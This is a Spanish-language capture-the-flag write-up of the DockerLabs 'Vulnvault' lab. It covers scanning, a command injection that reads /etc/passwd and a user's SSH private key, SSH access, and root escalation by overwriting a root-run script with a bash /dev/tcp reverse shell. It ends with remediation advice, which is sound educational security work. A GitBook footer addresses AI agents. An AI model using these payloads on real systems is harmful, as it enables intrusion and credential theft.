> For the complete documentation index, see [llms.txt](https://itskode.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://itskode.gitbook.io/pentesting/dockerlabs/facil/vulnvault.md).

# Vulnvault

## Introduccion

En este laboratorio de DockerLabs se compromete una maquina Linux que expone un **Centro de Operaciones** sobre Apache. La cadena combina enumeracion web, subida de archivos, descubrimiento de una version antigua vulnerable, inyeccion de comandos para leer archivos sensibles, acceso SSH con una clave privada expuesta y escalada final mediante un script escribible ejecutado por `root`.

***

## Reconocimiento

Se comienza con un escaneo de versiones contra la maquina objetivo:

```bash
nmap -sV -p- -T4 172.17.0.2
```

![](/files/2Och1NsHLxRsI4jQrYQi)

El escaneo muestra dos servicios abiertos:

| Puerto | Servicio | Version              |
| ------ | -------- | -------------------- |
| 22/tcp | SSH      | OpenSSH 9.6p1 Ubuntu |
| 80/tcp | HTTP     | Apache httpd 2.4.58  |

Con SSH y HTTP expuestos, se empieza revisando la aplicacion web.

***

## Enumeracion web

Al acceder al puerto `80` aparece un panel llamado **Centro de Operaciones** con opciones para generar reportes y subir archivos:

```
http://172.17.0.2
```

![](/files/hCwEBmobmjQRbTgCk4FO)

La seccion de subida permite seleccionar un archivo y enviarlo al servidor:

```
http://172.17.0.2/upload.html
```

![](/files/Bbvdbr4ivZbhdP84nqv5)

Como el servidor interpreta PHP, se prepara una reverse shell PHP apuntando a la maquina atacante:

```
IP: 172.17.0.1
Puerto: 4444
```

![](/files/XiXicWY4EiGDUaHg7fKK)

La subida del archivo `shell.php` responde correctamente:

![](/files/Z7Bpv6iXxxTM6910i8KN)

Aunque el archivo se sube con exito, no se observa una ruta directa para ejecutarlo. Se continua enumerando directorios y extensiones interesantes.

***

## Fuzzing de rutas

Se usa `gobuster` con varias extensiones comunes:

```bash
gobuster dir -u 172.17.0.2:80 \
  -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt \
  -x html,php,txt,py,sh,log
```

![](/files/ywKwiTcetFmTWCKKPWgX)

Entre los resultados aparecen rutas relevantes:

| Ruta           | Codigo | Comentario                       |
| -------------- | ------ | -------------------------------- |
| `/index.php`   | 200    | Pagina principal                 |
| `/upload.html` | 200    | Formulario de subida             |
| `/upload.php`  | 200    | Backend de subida                |
| `/old/`        | 301    | Version antigua de la aplicacion |

Al acceder directamente a `upload.php` sin enviar un fichero, la aplicacion indica que no se ha recibido ningun archivo:

![](/files/2RFjRq58jEalqGvO5yym)

La ruta mas interesante pasa a ser `/old/`, donde hay una version antigua del generador de reportes.

***

## Inyeccion de comandos

La version antigua permite generar reportes indicando un nombre de archivo y una fecha:

```
http://172.17.0.2/old/index.php
```

![](/files/a8Fvy6vxHB8sqIyb4VUc)

Al interceptar la peticion con Burp Suite, se prueba una inyeccion de comandos en el parametro `nombre`:

```http
POST /old/index.php HTTP/1.1
Host: 172.17.0.2
Content-Type: application/x-www-form-urlencoded

nombre=hola;cat /etc/passwd&fecha=1212-12-12
```

![](/files/SO8cx7y56SPrXPHp1Eq4)

La respuesta incluye el contenido de `/etc/passwd`, confirmando ejecucion de comandos. En la salida aparece un usuario local interesante:

```
samara:x:1001:1001:samara,,,:/home/samara:/bin/bash
```

Con un usuario identificado, se intenta leer su clave privada SSH mediante la misma inyeccion:

```
hola;cat /home/samara/.ssh/id_rsa
```

![](/files/eMODAVlGW5kGhKPz5T3C)

El reporte devuelve una clave privada OpenSSH completa, por lo que se guarda en la maquina atacante y se ajustan permisos.

***

## Acceso inicial

Se asignan permisos restrictivos a la clave privada:

```bash
chmod 600 idrsamara
```

Despues se accede por SSH como `samara`:

```bash
ssh samara@172.17.0.2 -i idrsamara
```

![](/files/CEDLYrrDfpvPC0kYlYl3)

Con esto se obtiene una shell interactiva como el usuario `samara`.

***

## Enumeracion local

Primero se revisan privilegios `sudo`, pero el usuario no puede ejecutar comandos como otro usuario:

```bash
sudo -l
```

Tambien se buscan binarios SUID:

```bash
find / -perm -4000 -type f 2>/dev/null
```

![](/files/OiZzh4evFxgSBLZcsyvE)

Los binarios encontrados son habituales y no ofrecen una escalada directa. El siguiente paso es buscar archivos escribibles fuera de rutas temporales:

```bash
find / -writable -type f 2>/dev/null | grep -viE "var|proc|sys|home"
```

![](/files/3WcCqmpOktLTN1OLhYI7)

Aparece un archivo muy interesante:

```
/usr/local/bin/echo.sh
```

El archivo tiene permisos de escritura para otros usuarios:

```
-rwxrw-rw- 1 root root /usr/local/bin/echo.sh
```

***

## Escalada de privilegios

Para comprobar si el script se ejecuta con privilegios, se revisan procesos en ejecucion:

```bash
ps aux
```

![](/files/sVC1jzkAD0iYSSPNbnzU)

La salida muestra que `root` ejecuta continuamente `/usr/local/bin/echo.sh`:

```
root ... /bin/sh -c service ssh start && service apache2 start && while true; do /bin/bash /usr/local/bin/echo.sh; done
root ... /bin/bash /usr/local/bin/echo.sh
```

Como el script es escribible y se ejecuta como `root`, se modifica para lanzar una reverse shell hacia la maquina atacante:

```bash
bash -i >& /dev/tcp/172.17.0.1/4444 0>&1
```

![](/files/lrThRYbb0l6tX9Qwtlr5)

En la maquina atacante se deja un listener esperando:

```bash
nc -lvnp 4444
```

Cuando `root` vuelve a ejecutar el script, llega la reverse shell:

![](/files/PlCRTgjsaxBmUtBwIZIe)

Se confirma el compromiso total de la maquina:

```bash
id
uid=0(root) gid=0(root) groups=0(root)
```

***

## Conclusion

La maquina se compromete a partir de una aplicacion web con una funcionalidad de reportes vulnerable a inyeccion de comandos. Aunque la subida de archivos permite cargar una shell PHP, la ruta efectiva llega al descubrir `/old/` y abusar del parametro `nombre` para leer `/etc/passwd` y despues la clave privada SSH de `samara`.

Con la clave privada se obtiene acceso por SSH. La escalada final se basa en una mala configuracion local: `/usr/local/bin/echo.sh` es escribible por usuarios no privilegiados y se ejecuta de forma continua como `root`, permitiendo reemplazar su contenido por una reverse shell.

### Puntos clave

| Fase              | Tecnica                   | Resultado                       |
| ----------------- | ------------------------- | ------------------------------- |
| Reconocimiento    | Nmap                      | SSH y Apache expuestos          |
| Enumeracion web   | Revision manual           | Panel de reportes y subida      |
| Fuzzing           | Gobuster                  | Descubrimiento de `/old/`       |
| Explotacion       | Command Injection         | Lectura de archivos del sistema |
| Credenciales      | Lectura de `id_rsa`       | Clave privada de `samara`       |
| Acceso inicial    | SSH con clave             | Shell como `samara`             |
| Enumeracion local | Archivos escribibles      | `/usr/local/bin/echo.sh`        |
| Escalada          | Script ejecutado por root | Reverse shell como `root`       |

### Recomendaciones

* Validar y sanear cualquier dato usado en comandos del sistema.
* Evitar construir comandos concatenando parametros del usuario.
* Eliminar versiones antiguas de aplicaciones expuestas en produccion.
* No almacenar claves privadas accesibles por el usuario del servicio web.
* Corregir permisos inseguros sobre scripts ejecutados por `root`.
* Revisar tareas o bucles de mantenimiento que ejecuten scripts modificables por usuarios no privilegiados.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://itskode.gitbook.io/pentesting/dockerlabs/facil/vulnvault.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
